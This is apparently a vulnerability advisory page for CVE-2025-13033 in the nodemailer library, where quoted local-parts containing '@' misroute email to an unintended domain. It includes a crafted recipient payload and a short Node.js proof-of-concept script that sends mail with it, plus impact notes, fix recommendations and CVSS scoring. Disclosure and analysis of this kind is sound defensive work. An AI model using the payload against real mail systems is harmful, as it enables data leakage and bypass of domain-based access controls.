Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2025-13033 — nodemailer

🟠 CVSS 7.5 — High ✅ No Known Exploit CWE-20 NVD
7.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "[email protected] x"@internal.domain

Using the following code to send mail

```

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({

service: "gmail",

auth: {

user: "",

pass: "",

},

});

let mailOptions = {

from: '"Test Sender" <[email protected]>',

to: "\"[email protected] x\"@internal.domain",

subject: "Hello from Nodemailer",

text: "This is a test email sent using Gmail SMTP and Nodemailer!",

};

transporter.sendMail(mailOptions, (error, info) => {

if (error) {

return console.log("Error: ", error);

}

console.log("Message sent: %s", info.messageId);

});

(async () => {

const parser = await import("@sparser/email-address-parser");

const { EmailAddress, ParsingOptions } = parser.default;

const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

if (!parsed) {

console.error("Invalid email address:", mailOptions.to);

return;

}

console.log("Parsed email:", {

address: ${parsed.localPart}@${parsed.domain},

local: parsed.localPart,

domain: parsed.domain,

});

})();

```

Running the script and seeing how this mail is parsed according to RFC

```

Parsed email: {

address: '"[email protected] x"@internal.domain',

local: '"[email protected] x"',

domain: 'internal.domain'

}

```

But the email is sent to [email protected]

<img width="2128" height="439" alt="Image" src="https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d" />

Impact:

  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.
  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.
  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.
  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations

  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.
  • Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2025-13033 is classified as CWE-20: Improper Input Validation. The application accepts input without checking that it has the expected form, so malformed values reach code that assumes they are well formed.

Affected software

CVE-2025-13033 is recorded against 2 packages.

  • nodemailer
  • unknown

Timeline and source

Published on 7 October 2025 and last revised on 4 February 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
access.redhat.com (Web)
bugzilla.redhat.com (Web)
github.com (Package)

Other advisories for this package

nodemailer has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-20: Improper Input Validation) in other software:

CVE-2025-13033 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity High
CVSS Score 7.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE CWE-20
Public Exploit ✅ No
Source NVD
Published 2025-10-07
Updated 2026-08-20
Modified 2026-02-04
Fix URL N/A

Affected Packages

Software From version Fixed in
nodemailer
unknown

Site Security Check

Is nodemailer part of your stack?

CVE-2025-13033 is rated CVSS 7.5 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2025